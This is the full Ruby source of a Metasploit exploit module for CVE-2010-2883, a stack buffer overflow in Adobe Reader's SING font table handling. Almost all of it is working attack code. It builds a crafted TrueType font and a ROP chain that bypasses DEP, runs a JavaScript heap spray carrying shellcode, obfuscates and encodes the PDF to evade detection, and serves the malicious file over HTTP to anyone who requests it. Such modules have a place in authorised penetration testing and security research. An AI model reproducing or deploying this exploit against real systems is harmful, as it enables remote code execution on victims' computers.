Adobe CoolType SING Table 'uniqueName' Stack Buffer Overflow



##

# $Id: adobe_cooltype_sing.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
                handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
                assumed to be vulnerable as well.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Unknown',    # 0day found in the wild
                    '@sn0wfl0w',  # initial analysis
                    '@vicheck',   # initial analysis
                    'jduck'       # Metasploit module
                ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2010-2883' ],
                    [ 'OSVDB', '67849'],
                    [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
                    [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC'             => 'process',
                    'HTTP::compression' => 'gzip',
                    'HTTP::chunked'     => true,
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'DisableNops' => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
                    # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
                    [ 'Automatic', { }],
                ],
            'DisclosureDate' => 'Sep 07 2010',
            'DefaultTarget'  => 0))
    end

    def exploit
        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
        path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
        fd = File.open( path, "rb" )
        @ttf_data = fd.read(fd.stat.size)
        fd.close

        super
    end


    def on_request_uri(cli, request)

        print_status("Sending crafted PDF to #{cli.peerhost}:#{cli.peerport}")

        ttf_data = make_ttf()

        js_data = make_js(regenerate_payload(cli).encoded)

        # Create the pdf
        pdf = make_pdf(ttf_data, js_data)

        send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })

        # Handle the payload
        handler(cli)
    end

    def make_ttf

        # load the static ttf file
        ttf_data = @ttf_data.dup

        # Build the SING table
        sing = ''
        sing << [
            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
            0xe01,  # glyphletVersion
            0x100,  # embeddingInfo
            0,      # mainGID
            0,      # unitsPerEm
            0,      # vertAdvance
            0x3a00  # vertOrigin
        ].pack('vvvvvvvv')
        # uniqueName
        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
        #sing << "A" * (0x254 - sing.length)
        sing << rand_text(0x254 - sing.length)

        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
        sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

        # This becomes our new EIP (puts esp to stack buffer)
        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
        sing[0x208, 4] = [ret].pack('V')

        # This becomes the new eip after the first return
        ret = 0x4a82a714
        sing[0x18, 4] = [ret].pack('V')

        # This becomes the new esp after the first return
        esp = 0x0c0c0c0c
        sing[0x1c, 4] = [esp].pack('V')

        # Without the following, sub_801ba57 returns 0.
        sing[0x24c, 4] = [0x6c].pack('V')

        ttf_data[0xec, 4] = "SING"
        ttf_data[0x11c, sing.length] = sing

        ttf_data
    end

    def make_js(encoded_payload)

        # The following executes a ret2lib using icucnv36.dll
        # The effect is to bypass DEP and execute the shellcode in an indirect way
        stack_data = [
            0x41414141,   # unused
            0x4a8063a5,   # pop ecx / ret
            0x4a8a0000,   # becomes ecx

            0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

            0x4a801f90,   # pop eax / ret
            0x4a84903c,   # becomes eax (import for CreateFileA)

            # -- call CreateFileA
            0x4a80b692,   # jmp [eax]

            0x4a801064,   # ret

            0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
            0x10000000,   # second arg  - dwDesiredAccess
            0x00000000,   # third arg   - dwShareMode
            0x00000000,   # fourth arg  - lpSecurityAttributes
            0x00000002,   # fifth arg   - dwCreationDisposition
            0x00000102,   # sixth arg   - dwFlagsAndAttributes
            0x00000000,   # seventh arg - hTemplateFile

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx

            0x4a842db2,   # xchg eax,edi / ret

            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify

            #
            # This points at a neat-o block of code that ... TBD
            #
            #   and [esp+ebx*2],edi
            #   jne check_slash
            # ret_one:
            #   mov al,1
            #   ret
            # check_slash:
            #   cmp al,0x2f
            #   je ret_one
            #   cmp al,0x41
            #   jl check_lower
            #   cmp al,0x5a
            #   jle check_ptr
            # check_lower:
            #   cmp al,0x61
            #   jl ret_zero
            #   cmp al,0x7a
            #   jg ret_zero
            #   cmp [ecx+1],0x3a
            #   je ret_one
            # ret_zero:
            #   xor al,al
            #   ret
            #

            0x4a80a8a6,   # execute fun block

            0x4a801f90,   # pop eax / ret
            0x4a849038,   # becomes eax (import for CreateFileMappingA)

            # -- call CreateFileMappingA
            0x4a80b692,   # jmp [eax]

            0x4a801064,   # ret

            0xffffffff,   # arguments to CreateFileMappingA, hFile
            0x00000000,   # lpAttributes
            0x00000040,   # flProtect
            0x00000000,   # dwMaximumSizeHigh
            0x00010000,   # dwMaximumSizeLow
            0x00000000,   # lpName

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx

            0x4a842db2,   # xchg eax,edi / ret

            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify

            0x4a80a8a6,   # execute fun block

            0x4a801f90,   # pop eax / ret
            0x4a849030,   # becomes eax (import for MapViewOfFile

            # -- call MapViewOfFile
            0x4a80b692,   # jmp [eax]

            0x4a801064,   # ret

            0xffffffff,   # args to MapViewOfFile - hFileMappingObject
            0x00000022,   # dwDesiredAccess
            0x00000000,   # dwFileOffsetHigh
            0x00000000,   # dwFileOffsetLow
            0x00010000,   # dwNumberOfBytesToMap

            0x4a8063a5,   # pop ecx / ret
            0x4a8a0004,   # becomes ecx - writable pointer

            0x4a802196,   # mov [ecx],eax / ret - save map base addr

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret

            0x4a842db2,   # xchg eax,edi / ret

            0x4a802ab1,   # pop ebx / ret
            0x00000030,   # becomes ebx - offset to modify

            0x4a80a8a6,   # execute fun block

            0x4a801f90,   # pop eax / ret
            0x4a8a0004,   # becomes eax - saved file mapping ptr

            0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret

            0x4a842db2,   # xchg eax,edi / ret

            0x4a802ab1,   # pop ebx / ret
            0x00000020,   # becomes ebx - offset to modify

            0x4a80a8a6,   # execute fun block

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret

            0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

            0x4a801f90,   # pop eax / ret
            0x00000034,   # becomes eax

            0x4a80d585,   # add eax,edx / ret

            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret

            0x4a842db2,   # xchg eax,edi / ret

            0x4a802ab1,   # pop ebx / ret
            0x0000000a,   # becomes ebx - offset to modify

            0x4a80a8a6,   # execute fun block

            0x4a801f90,   # pop eax / ret
            0x4a849170,   # becomes eax (import for memcpy)

            # -- call memcpy
            0x4a80b692,   # jmp [eax]

            0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
            0xffffffff,   # becomes first arg to memcpy (dst)
            0xffffffff,   # becomes second arg to memcpy (src)
            0x00001000,   # becomes third arg to memcpy (length)
            #0x0000258b,   # ??
            #0x4d4d4a8a,   # ??
        ].pack('V*')

        var_unescape  = rand_text_alpha(rand(100) + 1)
        var_shellcode = rand_text_alpha(rand(100) + 1)

        var_start     = rand_text_alpha(rand(100) + 1)

        var_s         = 0x10000
        var_c         = rand_text_alpha(rand(100) + 1)
        var_b         = rand_text_alpha(rand(100) + 1)
        var_d         = rand_text_alpha(rand(100) + 1)
        var_3         = rand_text_alpha(rand(100) + 1)
        var_i         = rand_text_alpha(rand(100) + 1)
        var_4         = rand_text_alpha(rand(100) + 1)

        payload_buf = ''
        payload_buf << stack_data
        payload_buf << encoded_payload

        escaped_payload = Rex::Text.to_unescape(payload_buf)

        js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

        js
    end

    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    def ioDef(id)
        "%d 0 obj \n" % id
    end

    def ioRef(id)
        "%d 0 R" % id
    end


    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        #return str
        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end


    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end


    def make_pdf(ttf, js)

        #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

        xref = []
        eol = "\n"
        endobj = "endobj" << eol

        # Randomize PDF version?
        pdf = "%PDF-1.5" << eol
        pdf << "%" << RandomNonASCIIString(4) << eol

        # catalog
        xref << pdf.length
        pdf << ioDef(1) << nObfu("<<") << eol
        pdf << nObfu("/Pages ") << ioRef(2) << eol
        pdf << nObfu("/Type /Catalog") << eol
        pdf << nObfu("/OpenAction ") << ioRef(11) << eol
        # The AcroForm is required to get icucnv36.dll to load
        pdf << nObfu("/AcroForm ") << ioRef(13) << eol
        pdf << nObfu(">>") << eol
        pdf << endobj

        # pages array
        xref << pdf.length
        pdf << ioDef(2) << nObfu("<<") << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
        pdf << nObfu("/Count 1") << eol
        pdf << nObfu("/Type /Pages") << eol
        pdf << nObfu(">>") << eol
        pdf << endobj

        # media box
        xref << pdf.length
        pdf << ioDef(3)
        pdf << "[0 0 595 842]" << eol
        pdf << endobj

        # resources
        xref << pdf.length
        pdf << ioDef(4)
        pdf << nObfu("<<") << eol
        pdf << nObfu("/Font ") << ioRef(6) << eol
        pdf << ">>" << eol
        pdf << endobj

        # page 1
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<<") << eol
        pdf << nObfu("/Parent ") << ioRef(2) << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
        pdf << nObfu("/Type /Page") << eol
        pdf << nObfu(">>") << eol # end obj dict
        pdf << endobj

        # font
        xref << pdf.length
        pdf << ioDef(6) << nObfu("<<") << eol
        pdf << nObfu("/F1 ") << ioRef(7) << eol
        pdf << ">>" << eol
        pdf << endobj

        # ttf object
        xref << pdf.length
        pdf << ioDef(7) << nObfu("<<") << eol
        pdf << nObfu("/Type /Font") << eol
        pdf << nObfu("/Subtype /TrueType") << eol
        pdf << nObfu("/Name /F1") << eol
        pdf << nObfu("/BaseFont /Cinema") << eol
        pdf << nObfu("/Widths []") << eol
        pdf << nObfu("/FontDescriptor ") << ioRef(9)
        pdf << nObfu("/Encoding /MacRomanEncoding")
        pdf << nObfu(">>") << eol
        pdf << endobj

        # page content
        content = "Hello World!"
        content = "" +
            "0 g" + eol +
            "BT" + eol +
            "/F1 32 Tf" + eol +
            "32 Tc" + eol +
            "1 0 0 1 32 773.872 Tm" + eol +
            "(" + content + ") Tj" + eol +
            "ET"

        xref << pdf.length
        pdf << ioDef(8) << "<<" << eol
        pdf << nObfu("/Length %s" % content.length) << eol
        pdf << ">>" << eol
        pdf << "stream" << eol
        pdf << content << eol
        pdf << "endstream" << eol
        pdf << endobj

        # font descriptor
        xref << pdf.length
        pdf << ioDef(9) << nObfu("<<")
        pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
        pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
        pdf << nObfu("/FontBBox [-177 -269 1123 866]")
        pdf << nObfu("/FontFile2 ") << ioRef(10)
        pdf << nObfu(">>") << eol
        pdf << endobj

        # ttf stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ttf)
        pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj

        # js action
        xref << pdf.length
        pdf << ioDef(11) << nObfu("<<")
        pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
        pdf << nObfu(">>") << eol
        pdf << endobj

        # js stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj

        ###
        # The following form related data is required to get icucnv36.dll to load
        ###

        # form object
        xref << pdf.length
        pdf << ioDef(13)
        pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
        pdf << endobj

        # form stream
        xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

        xref << pdf.length
        pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
        pdf << "stream" << eol
        pdf << xfa << eol
        pdf << "endstream" << eol
        pdf << endobj

        ###
        # end form stuff for icucnv36.dll
        ###


        # trailing stuff
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end

        pdf << "trailer" << eol
        pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol

        pdf << "%%EOF" << eol
        pdf
    end

end